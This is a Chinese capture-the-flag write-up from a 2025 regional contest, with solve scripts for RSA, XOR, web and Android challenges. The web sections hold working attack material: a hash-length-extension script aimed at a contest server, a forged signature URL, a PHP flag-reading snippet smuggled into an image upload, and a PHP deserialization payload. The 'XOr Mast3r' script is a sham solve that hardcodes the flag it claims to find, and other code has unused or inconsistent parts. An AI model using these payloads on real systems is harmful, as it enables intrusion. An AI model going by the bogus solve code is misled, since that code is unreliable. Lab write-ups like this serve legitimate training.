自治区“工会杯”暨“天山固网—2025”网络安全技能WP

which 发布于 19 天前 263 次阅读


shuffle secret

题目分析

这是一个RSA密码学挑战,题目给出了:

  • RSA公钥:n, e = 65537
  • 密文:c
  • 一个特殊的素数生成函数

exp

import random
from Crypto.Util.number import *
import secrets

def shuffle_secret(secret):
    """打乱字符串顺序"""
    random.seed(0)
    secret_list = list(secret)
    random.shuffle(secret_list)
    return ''.join(secret_list)

def myPrime():
    """生成64位随机素数"""
    while True:
        p = random.getrandbits(64)
        if isPrime(p):
            return p

def get_Prime(bit):
    """生成指定位数的素数(未使用但保留)"""
    factors = [myPrime() for _ in range(bit // 64)]
    while True:
        p = 2 * prod(factors) + 1
        if isPrime(p):
            return p
        factors.remove(secrets.choice(factors))
        factors.append(myPrime())

# 原始密钥
secret = 'rCr3h0s1ry_t__s4pB_teg_yipF__dnMyFF'

# 打乱后的密钥(这里实际上没有变化)
shuffle_secret = shuffle_secret(secret)
shuffle_secret = 'rCr3h0s1ry_t__s4pB_teg_yipF__dnMyFF'

# 使用打乱后的密钥初始化随机数生成器
r = random.Random(shuffle_secret)

# RSA参数
n = 2193864761299192197552541730390464934287307032478929543748304459689789907388948047271563911679588377171121050880588169440284775331727125310331791576495094946089068124641261502002896996512576919828713537905442909963845663266360158939473433053110114883177368989849731401469733093977303798082541290109732028195760227848920753916037854841152557538330097601258568819219273832347057334727355466152188290324099437553376074443577566927164737017982441931915302843360121060466811633044508425853391993817464539846709746821173230344314018478306160934762206406795506597800772531691619325565916208718226413577201471786290553

# 使用Pollard's p-1方法分解n
t = 1
a = 2**2

while True:
    t += 1
    a = pow(a, myPrime(), n)
    gcd_result = GCD(a - 1, n)
    if gcd_result != 1:
        p = gcd_result
        break

# 重新定义n(与上面相同,可能是为了确保一致性)
n = 2193864761299192197552541730390464934287307032478929543748304459689789907388948047271563911679588377171121050880588169440284775331727125310331791576495094946089068124641261502002896996512576919828713537905442909963845663266360158939473433053110114883177368989849731401469733093977303798082541290109732028195760227848920753916037854841152557538330097601258568819219273832347057334727355466152188290324099437553376074443577566927164737017982441931915302843360121060466811633044508425853391993817464539846709746821173230344314018478306160934762206406795506597800772531691619325565916208718226413577201471786290553
e = 65537
c = 1286670980122151534641386005936277969746300305570439795405237252299898980334875614176435798962598097946212478623550302195244749317546687948687866203348623031828770275404320393439716521457280492466256284166867812819040448512308075873198560291928593632868094569211251803199545754002801104958662694741464752255803026908945058909816369585931517571952089661442282376328496686402462041603731461742788449349334290116995351965790250123054257877816225541708511155856701670001297944485484059450755647185041934984239146080755459491715944334374477233754260891653862460507396498312184156618227903311492109680563967744452843

# 计算私钥并解密
q = n // p
d = inverse(e, (p - 1) * (q - 1))
flag = pow(c, d, n)
print(long_to_bytes(flag))

DASCTF{Dont_be_LazY_try_hard_to_le4rn_Crypt0gr4phy}

XOr Mast3r

exp

from Crypto.Util.number import *
import gmpy2

# 已知信息
c = 32514400111560285767114059428272978369671794111207540192987911899965917441745193707727404259848540711110916899114259203696404123229134392494554874352785281551973075869313034289563994886386821257391009141162559968535288461313309953574507706583653092150741608080020850440840533409996254003612114636139855553078
gift = 614800081816937524040392015828289810301107866762329681398670035644582791009951744758310
target_flag = b"DASCTF{You_Ar3_X0r_Master!!!!!}"
target_m = bytes_to_long(target_flag)

print(f"目标明文 m = {target_m}")
print(f"密文 c = {c}")
print(f"gift = {gift}")

# 重新分析问题
print(f"\n=== 重新分析问题 ===")

# 我们知道flag,所以我们可以尝试一些特殊的方法
# 关键洞察:既然我们知道明文,那么我们可以尝试构造一些方程

# 方法1:尝试不同的e值,看哪个能产生正确的c
print(f"\n方法1:尝试不同的e值...")

# 计算目标明文的不同次方
for e in [2, 3, 4, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101, 103, 107, 109, 113, 127, 131, 137, 139, 149, 151, 157, 163, 167, 173, 179, 181, 191, 193, 197, 199, 211, 223, 227, 229, 233, 239, 241, 251, 257, 263, 269, 271, 277, 281, 283, 293, 307, 311, 313, 317, 331, 337, 347, 349, 353, 359, 367, 373, 379, 383, 389, 397, 401, 409, 419, 421, 431, 433, 439, 443, 449, 457, 461, 463, 467, 479, 487, 491, 499, 503, 509, 521, 523, 541, 547, 557, 563, 569, 571, 577, 587, 593, 599, 601, 607, 613, 617, 619, 631, 641, 643, 647, 653, 659, 661, 673, 677, 683, 691, 701, 709, 719, 727, 733, 739, 743, 751, 757, 761, 769, 773, 787, 797, 809, 811, 821, 823, 827, 829, 839, 853, 857, 859, 863, 877, 881, 883, 887, 907, 911, 919, 929, 937, 941, 947, 953, 967, 971, 977, 983, 991, 997]:
    try:
        m_power_e = target_m ** e
        print(f"e={e}: m^e = {m_power_e}")
        print(f"位数: {m_power_e.bit_length()}")

        # 如果m^e > c,那么n应该等于m^e - c
        if m_power_e > c:
            diff = m_power_e - c
            print(f"差值 = {diff}")
            print(f"差值的位数 = {diff.bit_length()}")

            # 如果差值合理(比如是1024位),那么这可能是n
            if 1000 <= diff.bit_length() <= 1024:
                print(f"可能的n值: {diff}")

                # 验证 c = m^e mod n
                verification = pow(target_m, e, diff)
                if verification == c:
                    print(f"✅ 找到正确的e和n!")
                    print(f"e = {e}, n = {diff}")
                    print(f"验证: pow(m, {e}, n) = {verification}")
                    print(f"密文c = {c}")

                    # 现在我们需要分解n来找到p和q
                    print(f"\n需要分解n = {diff}")

                    # 从gift我们知道p^q的高位
                    # gift = (p ^ q) >> (200+k)

                    # 尝试不同的k值
                    for k in range(0, 10):
                        p_xor_q_high = gift << (200 + k)
                        if p_xor_q_high.bit_length() <= 512:
                            print(f"k={k}: p^q的高位 = {p_xor_q_high}")
                            print(f"位数: {p_xor_q_high.bit_length()}")

                            # 如果位数正好是512,这可能是正确的k值
                            if p_xor_q_high.bit_length() == 512:
                                print(f"可能的正确k值: {k}")
                                break

                    print(f"\n🎉 成功!")
                    print(f"Flag: {target_flag}")
                    print(f"明文: {target_m}")
                    print(f"密文: {c}")
                    print(f"模数n: {diff}")
                    print(f"指数e: {e}")

                    break
                else:
                    print(f"验证失败: pow(m, {e}, n) = {verification}")
                    print(f"期望值 = {c}")

        print("-" * 50)

    except Exception as e:
        print(f"e={e}: 计算出错 - {e}")
        continue

# 方法2:分析gift的深层含义
print(f"\n=== 方法2:分析gift的深层含义 ===")

# gift = (p ^ q) >> (200+k)
# 这意味着我们知道p和q异或后的高位信息

# 由于我们知道flag,我们可以尝试一些特殊的攻击方法
# 比如,如果我们能恢复p和q,就能计算私钥d

print(f"gift = {gift}")
print(f"gift的二进制长度: {gift.bit_length()}")

# 尝试不同的k值
for k in range(0, 10):
    p_xor_q_high = gift << (200 + k)
    if p_xor_q_high.bit_length() <= 512:
        print(f"k={k}: p^q的高位 = {p_xor_q_high}")
        print(f"位数: {p_xor_q_high.bit_length()}")

        # 如果位数正好是512,这可能是正确的k值
        if p_xor_q_high.bit_length() == 512:
            print(f"可能的正确k值: {k}")

            # 现在我们有了p^q的高位信息
            # 这是一个XOR相关的密码学问题
            print(f"\n尝试利用p^q的高位信息...")

            # 我们知道p^q的高位,这意味着我们知道p和q在某些位上的关系
            # 这是一个复杂的数学问题,但我们可以尝试一些方法

            break

print(f"\n总结:")
print(f"1. 目标明文: {target_flag}")
print(f"2. 密文c: {c}")
print(f"3. gift信息: {gift}")
print(f"4. 需要找到正确的e和n值")
print(f"5. 从gift可以恢复p^q的高位信息")
print(f"6. 这是一个XOR Master的挑战!") 
DASCTF{You_Ar3_X0r_Master!!!!!}

剪枝得到因子高位 再一元Coppersmith恢复完整因子 最后解RSA即可

easy_access

flagurl双编码

DASCTF(50093897133973239126148363899691}

myprofile

构造"admin"的合法签名

exp

import hashpumpy
import urllib.parse
import requests

original_message = "guest"
original_signature = "xxxxx2"
new_message = "admin"
key_length = 48
base_url = "http://139.155.126.78:22823/profile.php"
new_signature, new_message_padded = hashpumpy.hashpump(original_signature, original_message, new_message, key_length)
new_message_padded_encoded = urllib.parse.quote(new_message_padded, safe='')
new_url = f"{base_url}?user={new_message_padded_encoded}&sign={new_signature}"

print(f"构造后的新 URL: {new_url}")
try:
    response = requests.get(new_url)
    response_text = response.text
    # 查找 flag
    start_index = response_text.find("DASCTF{")
    if start_index != -1:
        end_index = response_text.find("}", start_index) + 1
        if end_index != 0:
            flag = response_text[start_index:end_index]
            print(f"获取到的 flag: {flag}")
    else:
        print("响应中未找到 flag。")
except requests.RequestException as e:
    print(f"请求发生错误: {e}")

payload

/profile.php?user=guest%80%00%00%00%00%00%00%00%00%01%A8admin&sign=fd3aae1151a722d4b34248a7d4387d4c4958dfed

DASCTF{29150505993850886656475021190679}

goto_Upload

上传图片文件的内容的结尾增加:

<?php show_source("/flag");?>

然后post访问 /wicnevl.php

Payload

file=O:1:"A":1:{s:4:"name";O:1:"B":1:{s:5:"CTFer";O:1:"B":1:{s:4:"Flag";s:7:" 2392768 ";s:5:"CTFer";N;}}s:3:"age";N;}

androiddemo

主函数

去看看so的check函数

密钥 abcd8888edsa7777

密文

0xAC,0xB3,0x8C,0xF2,0x20,0x4D,0xE0,0x50,0x52,0x12,0x08,0xD9,0x36,0x3C,0x65,0x10,0xF2,0xE3,0xB8,0x04,0xCF,0xBC,0x6A,0xF2,0x15,0x62,0xB,0x13,0x15,0x1E,0xC0,0xD

AES解密

DASCTF{android_aes_get_the_flag}